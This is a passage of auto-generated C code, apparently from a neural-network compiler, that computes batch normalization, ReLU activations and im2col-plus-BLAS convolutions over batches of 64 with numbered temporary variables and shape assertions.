x14028;\nx14003[x14018] = x14029;\n\n}\n\n}\n\n}\n\n}\nfloat* x14039 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x14040=0; x14040 < 256; x14040++) {\nfloat x14041 = x237[x14040];\nfloat x14042 = x14041 + 1.0E-5f;\nx14039[x14040] = x14042;\n\n}\nfloat* x14046 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x14047=0; x14047 < 256; x14047++) {\nfloat x14048 = x14039[x14047];\ndouble x14049 = (double)x14048;\ndouble x14050 = sqrt(x14049);\nfloat x14051 = (float)x14050;\nx14046[x14047] = x14051;\n\n}\nint32_t x14055 = 0;\nint32_t x14056 = 1;\nx14056 *= 1;\nx14055 += 1;\nx14056 *= 1;\nx14056 *= 1;\nint32_t x14061 = x14055;\nbool x14062 = x14061 >= 2;\nif (x14062) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14067 = x14061 == 0;\nif (x14067) {\nint32_t x14068 = x14056;\nbool x14069 = x14068 == 256;\nif (x14069) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14076 = x14056;\nbool x14078 = x13992 == 1;\nint32_t x14077 = 256 / x14076;\nbool x14079 = x14077 == 1;\nbool x14083;\nif (x454) {\nbool x14080 = x14078 || x14079;\nbool x14081 = x13992 == x14077;\nbool x14082 = x14080 || x14081;\nx14083 = x14082;\n} else {\nx14083 = false;\n}\nbool x14087;\nif (x14083) {\nx14087 = x14086;\n} else {\nx14087 = false;\n}\nbool x14088;\nif (x14087) {\nx14088 = x14086;\n} else {\nx14088 = false;\n}\nif (x14088) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x13992,x13994,x13994,1,x14077,1,1);\nassert(false && \"\");\n}\nbool x14094 = x13992 <= x14077;\nint32_t x14095;\nif (x14094) {\nx14095 = x14077;\n} else {\nx14095 = x13992;\n}\nint32_t x14104 = x14095 * x14103;\nint32_t x14105 = 64 * x14104;\nfloat* x14106 = (float*)myMalloc(x14105 * sizeof(float));;\nint32_t x14107;\nif (x14078) {\nx14107 = 0;\n} else {\nx14107 = x14000;\n}\nint32_t x14110;\nif (x14079) {\nx14110 = 0;\n} else {\nx14110 = 1;\n}\nfor(int x14111=0; x14111 < 64; x14111++) {\nint32_t x14123 = x14001 * x14111;\nint32_t x14117 = x14104 * x14111;\nfor(int x14113=0; x14113 < x14095; x14113++) {\nint32_t x14124 = x14107 * x14113;\nint32_t x14125 = x14123 + x14124;\nint32_t x14130 = x14110 * x14113;\nint32_t x14119 = x14103 * x14113;\nfor(int x14115=0; x14115 < x14097; x14115++) {\nint32_t x14126 = x14108 * x14115;\nint32_t x14127 = x14125 + x14126;\nint32_t x14121 = x14097 * x14115;\nfor(int x14116=0; x14116 < x14097; x14116++) {\nint32_t x14128 = x14109 * x14116;\nint32_t x14129 = x14127 + x14128;\nfloat x14131 = x14003[x14129];\nfloat x14132 = x14046[x14130];\nint32_t x14118 = x14116 + x14117;\nint32_t x14120 = x14118 + x14119;\nint32_t x14122 = x14120 + x14121;\nfloat x14133 = x14131 / x14132;\nx14106[x14122] = x14133;\n\n}\n\n}\n\n}\n\n}\nint32_t x14143 = 0;\nint32_t x14144 = 1;\nx14144 *= 1;\nx14143 += 1;\nx14144 *= 1;\nx14144 *= 1;\nint32_t x14149 = x14143;\nbool x14150 = x14149 >= 2;\nif (x14150) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14155 = x14149 == 0;\nif (x14155) {\nint32_t x14156 = x14144;\nbool x14157 = x14156 == 256;\nif (x14157) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14164 = x14144;\nbool x14166 = x14095 == 1;\nint32_t x14165 = 256 / x14164;\nbool x14167 = x14165 == 1;\nbool x14171;\nif (x454) {\nbool x14168 = x14166 || x14167;\nbool x14169 = x14095 == x14165;\nbool x14170 = x14168 || x14169;\nx14171 = x14170;\n} else {\nx14171 = false;\n}\nbool x14175;\nif (x14171) {\nx14175 = x14174;\n} else {\nx14175 = false;\n}\nbool x14176;\nif (x14175) {\nx14176 = x14174;\n} else {\nx14176 = false;\n}\nif (x14176) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x14095,x14097,x14097,1,x14165,1,1);\nassert(false && \"\");\n}\nbool x14182 = x14095 <= x14165;\nint32_t x14183;\nif (x14182) {\nx14183 = x14165;\n} else {\nx14183 = x14095;\n}\nint32_t x14192 = x14183 * x14191;\nint32_t x14193 = 64 * x14192;\nfloat* x14194 = (float*)myMalloc(x14193 * sizeof(float));;\nint32_t x14195;\nif (x14166) {\nx14195 = 0;\n} else {\nx14195 = x14103;\n}\nint32_t x14198;\nif (x14167) {\nx14198 = 0;\n} else {\nx14198 = 1;\n}\nfor(int x14199=0; x14199 < 64; x14199++) {\nint32_t x14211 = x14104 * x14199;\nint32_t x14205 = x14192 * x14199;\nfor(int x14201=0; x14201 < x14183; x14201++) {\nint32_t x14212 = x14195 * x14201;\nint32_t x14213 = x14211 + x14212;\nint32_t x14218 = x14198 * x14201;\nint32_t x14207 = x14191 * x14201;\nfor(int x14203=0; x14203 < x14185; x14203++) {\nint32_t x14214 = x14196 * x14203;\nint32_t x14215 = x14213 + x14214;\nint32_t x14209 = x14185 * x14203;\nfor(int x14204=0; x14204 < x14185; x14204++) {\nint32_t x14216 = x14197 * x14204;\nint32_t x14217 = x14215 + x14216;\nfloat x14219 = x14106[x14217];\nfloat x14220 = x271[x14218];\nint32_t x14206 = x14204 + x14205;\nint32_t x14208 = x14206 + x14207;\nint32_t x14210 = x14208 + x14209;\nfloat x14221 = x14219 * x14220;\nx14194[x14210] = x14221;\n\n}\n\n}\n\n}\n\n}\nint32_t x14231 = 0;\nint32_t x14232 = 1;\nx14232 *= 1;\nx14231 += 1;\nx14232 *= 1;\nx14232 *= 1;\nint32_t x14237 = x14231;\nbool x14238 = x14237 >= 2;\nif (x14238) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14243 = x14237 == 0;\nif (x14243) {\nint32_t x14244 = x14232;\nbool x14245 = x14244 == 256;\nif (x14245) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14252 = x14232;\nbool x14254 = x14183 == 1;\nint32_t x14253 = 256 / x14252;\nbool x14255 = x14253 == 1;\nbool x14259;\nif (x454) {\nbool x14256 = x14254 || x14255;\nbool x14257 = x14183 == x14253;\nbool x14258 = x14256 || x14257;\nx14259 = x14258;\n} else {\nx14259 = false;\n}\nbool x14263;\nif (x14259) {\nx14263 = x14262;\n} else {\nx14263 = false;\n}\nbool x14264;\nif (x14263) {\nx14264 = x14262;\n} else {\nx14264 = false;\n}\nif (x14264) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x14183,x14185,x14185,1,x14253,1,1);\nassert(false && \"\");\n}\nbool x14270 = x14183 <= x14253;\nint32_t x14271;\nif (x14270) {\nx14271 = x14253;\n} else {\nx14271 = x14183;\n}\nint32_t x14280 = x14271 * x14279;\nint32_t x14281 = 64 * x14280;\nfloat* x14282 = (float*)myMalloc(x14281 * sizeof(float));;\nint32_t x14283;\nif (x14254) {\nx14283 = 0;\n} else {\nx14283 = x14191;\n}\nint32_t x14286;\nif (x14255) {\nx14286 = 0;\n} else {\nx14286 = 1;\n}\nfor(int x14287=0; x14287 < 64; x14287++) {\nint32_t x14299 = x14192 * x14287;\nint32_t x14293 = x14280 * x14287;\nfor(int x14289=0; x14289 < x14271; x14289++) {\nint32_t x14300 = x14283 * x14289;\nint32_t x14301 = x14299 + x14300;\nint32_t x14306 = x14286 * x14289;\nint32_t x14295 = x14279 * x14289;\nfor(int x14291=0; x14291 < x14273; x14291++) {\nint32_t x14302 = x14284 * x14291;\nint32_t x14303 = x14301 + x14302;\nint32_t x14297 = x14273 * x14291;\nfor(int x14292=0; x14292 < x14273; x14292++) {\nint32_t x14304 = x14285 * x14292;\nint32_t x14305 = x14303 + x14304;\nfloat x14307 = x14194[x14305];\nfloat x14308 = x96[x14306];\nint32_t x14294 = x14292 + x14293;\nint32_t x14296 = x14294 + x14295;\nint32_t x14298 = x14296 + x14297;\nfloat x14309 = x14307 + x14308;\nx14282[x14298] = x14309;\n\n}\n\n}\n\n}\n\n}\nfloat* x14319 = (float*)myMalloc(x14281 * sizeof(float));;\nfor(int x14321=0; x14321 < x14281; x14321++) {\nfloat x14322 = x14282[x14321];\nbool x14323 = x14322 < 0.0f;\nif (x14323) {\nx14319[x14321] = 0.0f;\n} else {\nfloat x14326 = x14282[x14321];\nx14319[x14321] = x14326;\n}\n\n}\nfloat* x14340 = (float*)myMalloc(x14339 * sizeof(float));;\nint32_t x14343 = 64 * x14271;\nint32_t x14344 = x14343 * x14335;\nfloat* x14345 = (float*)myMalloc(x14344 * sizeof(float));;\nint32_t x14341 = x14271 * x14335;\nfor(int x14346=0; x14346 < 64; x14346++) {\nint32_t x14347 = x14346 * x14280;\nfloat* x14348 = x14319+x14347;\nint32_t x14349 = x14346 * x14336;\nfloat* x14350 = x14340+x14349;\nint32_t x14351 = x14346 * x14341;\nfloat* x14352 = x14345+x14351;\nfor(int x14353=0; x14353 < x14271; x14353++) {\nint32_t x14354 = x14353 / 1;\nint32_t x14358 = x14354 * x14334;\nint32_t x14359 = x14358 * x14334;\nint32_t x14355 = x14353 % 1;\nint32_t x14356 = x14355 / 1;\nint32_t x14360 = x14356 * x14334;\nint32_t x14361 = x14360 * x14334;\nint32_t x14362 = x14359 + x14361;\nint32_t x14357 = x14355 % 1;\nint32_t x14363 = x14357 * x14334;\nint32_t x14364 = x14363 * x14334;\nint32_t x14365 = x14362 + x14364;\nfloat* x14366 = x14352+x14365;\nint32_t x14367 = x14354 * x14273;\nint32_t x14368 = x14367 * x14273;\nfloat* x14369 = x14348+x14368;\nfor(int x14371=0; x14371 < x14334; x14371++) {\nint32_t x14373 = x14371 * x14334;\nfloat* x14374 = x14366+x14373;\nint32_t x14372 = x14371 + x14356;\nint32_t x14375 = x14372 * x14273;\nint32_t x14376 = x14375 + x14357;\nfloat* x14377 = x14369+x14376;\nmemcpy(x14374, x14377, 4 * x14334);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 1024,x14335,x14271,1,x56,x14271,x14352,x14335,1,x14350,x14335);\n\n}\nint32_t x14386 = 0;\nint32_t x14387 = 1;\nx14387 *= 1;\nx14386 += 1;\nx14387 *= 1;\nx14387 *= 1;\nint32_t x14392 = x14386;\nbool x14393 = x14392 >= 2;\nif (x14393) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14398 = x14392 == 0;\nif (x14398) {\nint32_t x14399 = x14387;\nbool x14400 = x14399 == 1024;\nif (x14400) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14407 = x14387;\nint32_t x14408 = 1024 / x14407;\nbool x14409 = x14408 == 1;\nbool x14412;\nif (x454) {\nbool x14410 = 1024 == x14408;\nbool x14411 = x14409 || x14410;\nx14412 = x14411;\n} else {\nx14412 = false;\n}\nbool x14416;\nif (x14412) {\nx14416 = x14415;\n} else {\nx14416 = false;\n}\nbool x14417;\nif (x14416) {\nx14417 = x14415;\n} else {\nx14417 = false;\n}\nif (x14417) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,1024,x14334,x14334,1,x14408,1,1);\nassert(false && \"\");\n}\nbool x14423 = 1024 <= x14408;\nint32_t x14424;\nif (x14423) {\nx14424 = x14408;\n} else {\nx14424 = 1024;\n}\nint32_t x14433 = x14424 * x14432;\nint32_t x14434 = 64 * x14433;\nfloat* x14435 = (float*)myMalloc(x14434 * sizeof(float));;\nint32_t x14438;\nif (x14409) {\nx14438 = 0;\n} else {\nx14438 = 1;\n}\nfor(int x14439=0; x14439 < 64; x14439++) {\nint32_t x14451 = x14336 * x14439;\nint32_t x14445 = x14433 * x14439;\nfor(int x14441=0; x14441 < x14424; x14441++) {\nint32_t x14452 = x14335 * x14441;\nint32_t x14453 = x14451 + x14452;\nint32_t x14458 = x14438 * x14441;\nint32_t x14447 = x14432 * x14441;\nfor(int x14443=0; x14443 < x14426; x14443++) {\nint32_t x14454 = x14436 * x14443;\nint32_t x14455 = x14453 + x14454;\nint32_t x14449 = x14426 * x14443;\nfor(int x14444=0; x14444 < x14426; x14444++) {\nint32_t x14456 = x14437 * x14444;\nint32_t x14457 = x14455 + x14456;\nfloat x14459 = x14340[x14457];\nfloat x14460 = x182[x14458];\nint32_t x14446 = x14444 + x14445;\nint32_t x14448 = x14446 + x14447;\nint32_t x14450 = x14448 + x14449;\nfloat x14461 = x14459 - x14460;\nx14435[x14450] = x14461;\n\n}\n\n}\n\n}\n\n}\nfloat* x14471 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x14472=0; x14472 < 1024; x14472++) {\nfloat x14473 = x143[x14472];\nfloat x14474 = x14473 + 1.0E-5f;\nx14471[x14472] = x14474;\n\n}\nfloat* x14478 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x14479=0; x14479 < 1024; x14479++) {\nfloat x14480 = x14471[x14479];\ndouble x14481 = (double)x14480;\ndouble x14482 = sqrt(x14481);\nfloat x14483 = (float)x14482;\nx14478[x14479] = x14483;\n\n}\nint32_t x14487 = 0;\nint32_t x14488 = 1;\nx14488 *= 1;\nx14487 += 1;\nx14488 *= 1;\nx14488 *= 1;\nint32_t x14493 = x14487;\nbool x14494 = x14493 >= 2;\nif (x14494) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14499 = x14493 == 0;\nif (x14499) {\nint32_t x14500 = x14488;\nbool x14501 = x14500 == 1024;\nif (x14501) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14508 = x14488;\nbool x14510 = x14424 == 1;\nint32_t x14509 = 1024 / x14508;\nbool x14511 = x14509 == 1;\nbool x14515;\nif (x454) {\nbool x14512 = x14510 || x14511;\nbool x14513 = x14424 == x14509;\nbool x14514 = x14512 || x14513;\nx14515 = x14514;\n} else {\nx14515 = false;\n}\nbool x14519;\nif (x14515) {\nx14519 = x14518;\n} else {\nx14519 = false;\n}\nbool x14520;\nif (x14519) {\nx14520 = x14518;\n} else {\nx14520 = false;\n}\nif (x14520) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x14424,x14426,x14426,1,x14509,1,1);\nassert(false && \"\");\n}\nbool x14526 = x14424 <= x14509;\nint32_t x14527;\nif (x14526) {\nx14527 = x14509;\n} else {\nx14527 = x14424;\n}\nint32_t x14536 = x14527 * x14535;\nint32_t x14537 = 64 * x14536;\nfloat* x14538 = (float*)myMalloc(x14537 * sizeof(float));;\nint32_t x14539;\nif (x14510) {\nx14539 = 0;\n} else {\nx14539 = x14432;\n}\nint32_t x14542;\nif (x14511) {\nx14542 = 0;\n} else {\nx14542 = 1;\n}\nfor(int x14543=0; x14543 < 64; x14543++) {\nint32_t x14555 = x14433 * x14543;\nint32_t x14549 = x14536 * x14543;\nfor(int x14545=0; x14545 < x14527; x14545++) {\nint32_t x14556 = x14539 * x14545;\nint32_t x14557 = x14555 + x14556;\nint32_t x14562 = x14542 * x14545;\nint32_t x14551 = x14535 * x14545;\nfor(int x14547=0; x14547 < x14529; x14547++) {\nint32_t x14558 = x14540 * x14547;\nint32_t x14559 = x14557 + x14558;\nint32_t x14553 = x14529 * x14547;\nfor(int x14548=0; x14548 < x14529; x14548++) {\nint32_t x14560 = x14541 * x14548;\nint32_t x14561 = x14559 + x14560;\nfloat x14563 = x14435[x14561];\nfloat x14564 = x14478[x14562];\nint32_t x14550 = x14548 + x14549;\nint32_t x14552 = x14550 + x14551;\nint32_t x14554 = x14552 + x14553;\nfloat x14565 = x14563 / x14564;\nx14538[x14554] = x14565;\n\n}\n\n}\n\n}\n\n}\nint32_t x14575 = 0;\nint32_t x14576 = 1;\nx14576 *= 1;\nx14575 += 1;\nx14576 *= 1;\nx14576 *= 1;\nint32_t x14581 = x14575;\nbool x14582 = x14581 >= 2;\nif (x14582) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14587 = x14581 == 0;\nif (x14587) {\nint32_t x14588 = x14576;\nbool x14589 = x14588 == 1024;\nif (x14589) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14596 = x14576;\nbool x14598 = x14527 == 1;\nint32_t x14597 = 1024 / x14596;\nbool x14599 = x14597 == 1;\nbool x14603;\nif (x454) {\nbool x14600 = x14598 || x14599;\nbool x14601 = x14527 == x14597;\nbool x14602 = x14600 || x14601;\nx14603 = x14602;\n} else {\nx14603 = false;\n}\nbool x14607;\nif (x14603) {\nx14607 = x14606;\n} else {\nx14607 = false;\n}\nbool x14608;\nif (x14607) {\nx14608 = x14606;\n} else {\nx14608 = false;\n}\nif (x14608) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x14527,x14529,x14529,1,x14597,1,1);\nassert(false && \"\");\n}\nbool x14614 = x14527 <= x14597;\nint32_t x14615;\nif (x14614) {\nx14615 = x14597;\n} else {\nx14615 = x14527;\n}\nint32_t x14624 = x14615 * x14623;\nint32_t x14625 = 64 * x14624;\nfloat* x14626 = (float*)myMalloc(x14625 * sizeof(float));;\nint32_t x14627;\nif (x14598) {\nx14627 = 0;\n} else {\nx14627 = x14535;\n}\nint32_t x14630;\nif (x14599) {\nx14630 = 0;\n} else {\nx14630 = 1;\n}\nfor(int x14631=0; x14631 < 64; x14631++) {\nint32_t x14643 = x14536 * x14631;\nint32_t x14637 = x14624 * x14631;\nfor(int x14633=0; x14633 < x14615; x14633++) {\nint32_t x14644 = x14627 * x14633;\nint32_t x14645 = x14643 + x14644;\nint32_t x14650 = x14630 * x14633;\nint32_t x14639 = x14623 * x14633;\nfor(int x14635=0; x14635 < x14617; x14635++) {\nint32_t x14646 = x14628 * x14635;\nint32_t x14647 = x14645 + x14646;\nint32_t x14641 = x14617 * x14635;\nfor(int x14636=0; x14636 < x14617; x14636++) {\nint32_t x14648 = x14629 * x14636;\nint32_t x14649 = x14647 + x14648;\nfloat x14651 = x14538[x14649];\nfloat x14652 = x20[x14650];\nint32_t x14638 = x14636 + x14637;\nint32_t x14640 = x14638 + x14639;\nint32_t x14642 = x14640 + x14641;\nfloat x14653 = x14651 * x14652;\nx14626[x14642] = x14653;\n\n}\n\n}\n\n}\n\n}\nint32_t x14663 = 0;\nint32_t x14664 = 1;\nx14664 *= 1;\nx14663 += 1;\nx14664 *= 1;\nx14664 *= 1;\nint32_t x14669 = x14663;\nbool x14670 = x14669 >= 2;\nif (x14670) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14675 = x14669 == 0;\nif (x14675) {\nint32_t x14676 = x14664;\nbool x14677 = x14676 == 1024;\nif (x14677) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14684 = x14664;\nbool x14686 = x14615 == 1;\nint32_t x14685 = 1024 / x14684;\nbool x14687 = x14685 == 1;\nbool x14691;\nif (x454) {\nbool x14688 = x14686 || x14687;\nbool x14689 = x14615 == x14685;\nbool x14690 = x14688 || x14689;\nx14691 = x14690;\n} else {\nx14691 = false;\n}\nbool x14695;\nif (x14691) {\nx14695 = x14694;\n} else {\nx14695 = false;\n}\nbool x14696;\nif (x14695) {\nx14696 = x14694;\n} else {\nx14696 = false;\n}\nif (x14696) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x14615,x14617,x14617,1,x14685,1,1);\nassert(false && \"\");\n}\nbool x14702 = x14615 <= x14685;\nint32_t x14703;\nif (x14702) {\nx14703 = x14685;\n} else {\nx14703 = x14615;\n}\nint32_t x14712 = x14703 * x14711;\nint32_t x14713 = 64 * x14712;\nfloat* x14714 = (float*)myMalloc(x14713 * sizeof(float));;\nint32_t x14715;\nif (x14686) {\nx14715 = 0;\n} else {\nx14715 = x14623;\n}\nint32_t x14718;\nif (x14687) {\nx14718 = 0;\n} else {\nx14718 = 1;\n}\nfor(int x14719=0; x14719 < 64; x14719++) {\nint32_t x14731 = x14624 * x14719;\nint32_t x14725 = x14712 * x14719;\nfor(int x14721=0; x14721 < x14703; x14721++) {\nint32_t x14732 = x14715 * x14721;\nint32_t x14733 = x14731 + x14732;\nint32_t x14738 = x14718 * x14721;\nint32_t x14727 = x14711 * x14721;\nfor(int x14723=0; x14723 < x14705; x14723++) {\nint32_t x14734 = x14716 * x14723;\nint32_t x14735 = x14733 + x14734;\nint32_t x14729 = x14705 * x14723;\nfor(int x14724=0; x14724 < x14705; x14724++) {\nint32_t x14736 = x14717 * x14724;\nint32_t x14737 = x14735 + x14736;\nfloat x14739 = x14626[x14737];\nfloat x14740 = x232[x14738];\nint32_t x14726 = x14724 + x14725;\nint32_t x14728 = x14726 + x14727;\nint32_t x14730 = x14728 + x14729;\nfloat x14741 = x14739 + x14740;\nx14714[x14730] = x14741;\n\n}\n\n}\n\n}\n\n}\nbool x14751 = x14703 == 1;\nbool x14752 = x14751 || x13334;\nbool x14753 = x14703 == x12862;\nbool x14754 = x14752 || x14753;\nbool x14759;\nif (x14754) {\nx14759 = x14758;\n} else {\nx14759 = false;\n}\nbool x14760;\nif (x14759) {\nx14760 = x14758;\n} else {\nx14760 = false;\n}\nif (x14760) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x14703,x14705,x14705,64,x12862,x12864,x12864);\nassert(false && \"\");\n}\nbool x14766 = x14703 <= x12862;\nint32_t x14767;\nif (x14766) {\nx14767 = x12862;\n} else {\nx14767 = x14703;\n}\nint32_t x14783;\nif (x14751) {\nx14783 = 0;\n} else {\nx14783 = x14711;\n}\nfor(int x14786=0; x14786 < 64; x14786++) {\nint32_t x14792 = x14712 * x14786;\nint32_t x14799 = x12871 * x14786;\nfor(int x14788=0; x14788 < x14767; x14788++) {\nint32_t x14793 = x14783 * x14788;\nint32_t x14794 = x14792 + x14793;\nint32_t x14800 = x13368 * x14788;\nint32_t x14801 = x14799 + x14800;\nfor(int x14790=0; x14790 < x14769; x14790++) {\nint32_t x14795 = x14784 * x14790;\nint32_t x14796 = x14794 + x14795;\nint32_t x14802 = x13369 * x14790;\nint32_t x14803 = x14801 + x14802;\nfor(int x14791=0; x14791 < x14769; x14791++) {\nint32_t x14797 = x14785 * x14791;\nint32_t x14798 = x14796 + x14797;\nfloat x14806 = x14714[x14798];\nint32_t x14804 = x13370 * x14791;\nint32_t x14805 = x14803 + x14804;\nfloat x14807 = x13406[x14805];\nfloat x14808 = x14806 + x14807;\nx14714[x14798] = x14808;\n\n}\n\n}\n\n}\n\n}\nfloat* x14818 = (float*)myMalloc(x14713 * sizeof(float));;\nfor(int x14820=0; x14820 < x14713; x14820++) {\nfloat x14821 = x14714[x14820];\nbool x14822 = x14821 < 0.0f;\nif (x14822) {\nx14818[x14820] = 0.0f;\n} else {\nfloat x14825 = x14714[x14820];\nx14818[x14820] = x14825;\n}\n\n}\nfloat* x14839 = (float*)myMalloc(x14838 * sizeof(float));;\nint32_t x14842 = 64 * x14703;\nint32_t x14843 = x14842 * x14834;\nfloat* x14844 = (float*)myMalloc(x14843 * sizeof(float));;\nint32_t x14840 = x14703 * x14834;\nfor(int x14845=0; x14845 < 64; x14845++) {\nint32_t x14846 = x14845 * x14712;\nfloat* x14847 = x14818+x14846;\nint32_t x14848 = x14845 * x14835;\nfloat* x14849 = x14839+x14848;\nint32_t x14850 = x14845 * x14840;\nfloat* x14851 = x14844+x14850;\nfor(int x14852=0; x14852 < x14703; x14852++) {\nint32_t x14853 = x14852 / 1;\nint32_t x14857 = x14853 * x14833;\nint32_t x14858 = x14857 * x14833;\nint32_t x14854 = x14852 % 1;\nint32_t x14855 = x14854 / 1;\nint32_t x14859 = x14855 * x14833;\nint32_t x14860 = x14859 * x14833;\nint32_t x14861 = x14858 + x14860;\nint32_t x14856 = x14854 % 1;\nint32_t x14862 = x14856 * x14833;\nint32_t x14863 = x14862 * x14833;\nint32_t x14864 = x14861 + x14863;\nfloat* x14865 = x14851+x14864;\nint32_t x14866 = x14853 * x14705;\nint32_t x14867 = x14866 * x14705;\nfloat* x14868 = x14847+x14867;\nfor(int x14870=0; x14870 < x14833; x14870++) {\nint32_t x14872 = x14870 * x14833;\nfloat* x14873 = x14865+x14872;\nint32_t x14871 = x14870 + x14855;\nint32_t x14874 = x14871 * x14705;\nint32_t x14875 = x14874 + x14856;\nfloat* x14876 = x14868+x14875;\nmemcpy(x14873, x14876, 4 * x14833);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x14834,x14703,1,x218,x14703,x14851,x14834,1,x14849,x14834);\n\n}\nint32_t x14885 = 0;\nint32_t x14886 = 1;\nx14886 *= 1;\nx14885 += 1;\nx14886 *= 1;\nx14886 *= 1;\nint32_t x14891 = x14885;\nbool x14892 = x14891 >= 2;\nif (x14892) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14897 = x14891 == 0;\nif (x14897) {\nint32_t x14898 = x14886;\nbool x14899 = x14898 == 256;\nif (x14899) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x14906 = x14886;\nint32_t x14907 = 256 / x14906;\nbool x14908 = x14907 == 1;\nbool x14911;\nif (x454) {\nbool x14909 = 256 == x14907;\nbool x14910 = x14908 || x14909;\nx14911 = x14910;\n} else {\nx14911 = false;\n}\nbool x14915;\nif (x14911) {\nx14915 = x14914;\n} else {\nx14915 = false;\n}\nbool x14916;\nif (x14915) {\nx14916 = x14914;\n} else {\nx14916 = false;\n}\nif (x14916) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x14833,x14833,1,x14907,1,1);\nassert(false && \"\");\n}\nbool x14922 = 256 <= x14907;\nint32_t x14923;\nif (x14922) {\nx14923 = x14907;\n} else {\nx14923 = 256;\n}\nint32_t x14932 = x14923 * x14931;\nint32_t x14933 = 64 * x14932;\nfloat* x14934 = (float*)myMalloc(x14933 * sizeof(float));;\nint32_t x14937;\nif (x14908) {\nx14937 = 0;\n} else {\nx14937 = 1;\n}\nfor(int x14938=0; x14938 < 64; x14938++) {\nint32_t x14950 = x14835 * x14938;\nint32_t x14944 = x14932 * x14938;\nfor(int x14940=0; x14940 < x14923; x14940++) {\nint32_t x14951 = x14834 * x14940;\nint32_t x14952 = x14950 + x14951;\nint32_t x14957 = x14937 * x14940;\nint32_t x14946 = x14931 * x14940;\nfor(int x14942=0; x14942 < x14925; x14942++) {\nint32_t x14953 = x14935 * x14942;\nint32_t x14954 = x14952 + x14953;\nint32_t x14948 = x14925 * x14942;\nfor(int x14943=0; x14943 < x14925; x14943++) {\nint32_t x14955 = x14936 * x14943;\nint32_t x14956 = x14954 + x14955;\nfloat x14958 = x14839[x14956];\nfloat x14959 = x178[x14957];\nint32_t x14945 = x14943 + x14944;\nint32_t x14947 = x14945 + x14946;\nint32_t x14949 = x14947 + x14948;\nfloat x14960 = x14958 - x14959;\nx14934[x14949] = x14960;\n\n}\n\n}\n\n}\n\n}\nfloat* x14970 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x14971=0; x14971 < 256; x14971++) {\nfloat x14972 = x174[x14971];\nfloat x14973 = x14972 + 1.0E-5f;\nx14970[x14971] = x14973;\n\n}\nfloat* x14977 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x14978=0; x14978 < 256; x14978++) {\nfloat x14979 = x14970[x14978];\ndouble x14980 = (double)x14979;\ndouble x14981 = sqrt(x14980);\nfloat x14982 = (float)x14981;\nx14977[x14978] = x14982;\n\n}\nint32_t x14986 = 0;\nint32_t x14987 = 1;\nx14987 *= 1;\nx14986 += 1;\nx14987 *= 1;\nx14987 *= 1;\nint32_t x14992 = x14986;\nbool x14993 = x14992 >= 2;\nif (x14993) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x14998 = x14992 == 0;\nif (x14998) {\nint32_t x14999 = x14987;\nbool x15000 = x14999 == 256;\nif (x15000) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x15007 = x14987;\nbool x15009 = x14923 == 1;\nint32_t x15008 = 256 / x15007;\nbool x15010 = x15008 == 1;\nbool x15014;\nif (x454) {\nbool x15011 = x15009 || x15010;\nbool x15012 = x14923 == x15008;\nbool x15013 = x15011 || x15012;\nx15014 = x15013;\n} else {\nx15014 = false;\n}\nbool x15018;\nif (x15014) {\nx15018 = x15017;\n} else {\nx15018 = false;\n}\nbool x15019;\nif (x15018) {\nx15019 = x15017;\n} else {\nx15019 = false;\n}\nif (x15019) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x14923,x14925,x14925,1,x15008,1,1);\nassert(false && \"\");\n}\nbool x15025 = x14923 <= x15008;\nint32_t x15026;\nif (x15025) {\nx15026 = x15008;\n} else {\nx15026 = x14923;\n}\nint32_t x15035 = 